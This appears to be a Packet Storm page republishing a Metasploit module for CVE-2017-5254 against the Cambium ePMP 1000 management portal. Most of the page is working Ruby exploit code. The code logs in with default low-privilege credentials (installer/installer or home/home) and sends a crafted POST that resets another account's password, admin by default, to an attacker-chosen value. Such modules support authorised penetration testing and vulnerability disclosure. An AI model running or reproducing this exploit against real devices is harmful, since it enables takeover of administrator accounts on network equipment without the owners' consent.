what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cambium EPMP 1000 Account Password Reset

Cambium EPMP 1000 Account Password Reset
Posted Sep 1, 2024
Authored by Karn Ganeshen | Site metasploit.com

This Metasploit module exploits an access control vulnerability in Cambium ePMP device management portal. It requires any one of the following non-admin login credentials - installer/installer, home/home - to reset password of other existing user(s) including admin. All versions less than or equal to3.5 are affected. This Metasploit module works on versions 3.0-3.5-RC7.

tags | exploit
advisories | CVE-2017-5254
SHA-256 | 956f2fe0af3391b41c4ba29545c942e1168defdca0fa714c74890ac611b33384

Cambium EPMP 1000 Account Password Reset

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::EPMP

def initialize(info = {})
super(update_info(info,
'Name' => 'Cambium ePMP 1000 Account Password Reset',
'Description' => %{
This module exploits an access control vulnerability in Cambium ePMP
device management portal. It requires any one of the following non-admin login
credentials - installer/installer, home/home - to reset password of other
existing user(s) including 'admin'. All versions <=3.5 are affected. This
module works on versions 3.0-3.5-RC7.
},
'Author' =>
[
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
],
'References' =>
[
['CVE', '2017-5254'],
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']
],
'License' => MSF_LICENSE
)
)

register_options(
[
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']),
OptString.new('TARGET_USERNAME', [true, 'Target account - admin / installer / home / readonly', 'admin']),
OptString.new('NEW_PASSWORD', [true, 'New Password for Target account', 'pass'])
], self.class
)

deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
end

def run_host(ip)
unless is_app_epmp1000?
return
end
end

# Account Reset happens here
def reset_pass(config_uri, cookie)
pass_change_req = '{"device_props":{"' + "#{datastore['TARGET_USERNAME']}" + '_password' + '":"' + "#{datastore['NEW_PASSWORD']}" + '"},"template_props":{"config_id":"11"}}'

print_status("#{rhost}:#{rport} - Changing password for #{datastore['TARGET_USERNAME']} to #{datastore['NEW_PASSWORD']}")

res = send_request_cgi(
{
'method' => 'POST',
'uri' => config_uri,
'cookie' => cookie,
'headers' => {
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'Content-Encoding' => 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With' => 'XMLHttpRequest',
'Connection' => 'close'
},
'vars_post' =>
{
'changed_elements' => pass_change_req,
'debug' => '0'
}
}, 25
)

good_response = (
res &&
res.code == 200 &&
res.headers.include?('Content-Type') &&
res.headers['Content-Type'].include?('application/json')&&
res.body.include?('config_id')
)

if good_response
print_good('Password successfully changed!')
else
print_error("#{rhost}:#{rport} - Failed to change password.")
end
end

#
# Login & initiate reset_pass
#

def do_login(epmp_ver)
if (epmp_ver < '3.0' || epmp_ver > '3.5' && epmp_ver != '3.5-RC7')
print_error('This module is applicable to versions 3.0-3.5-RC7 only. Exiting now.')
return
elsif (epmp_ver >= '3.0' && epmp_ver < '3.4.1') # <3.4.1 uses login_1
cookie, _blah1, config_uri_reset_pass, _blah2 = login_1(datastore['USERNAME'], datastore['PASSWORD'], epmp_ver)
if cookie == 'skip' && config_uri_reset_pass == 'skip'
return
else
reset_pass(config_uri_reset_pass, cookie)
end
elsif ['3.4.1', '3.5', '3.5-RC7'].include?(epmp_ver)
cookie, _blah1, config_uri_reset_pass, _blah2 = login_2(datastore['USERNAME'], datastore['PASSWORD'], epmp_ver)
if cookie == 'skip' && config_uri_reset_pass == 'skip'
return
else
reset_pass(config_uri_reset_pass, cookie)
end
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    0 Files
  • 6
    Nov 6th
    0 Files
  • 7
    Nov 7th
    0 Files
  • 8
    Nov 8th
    0 Files
  • 9
    Nov 9th
    0 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close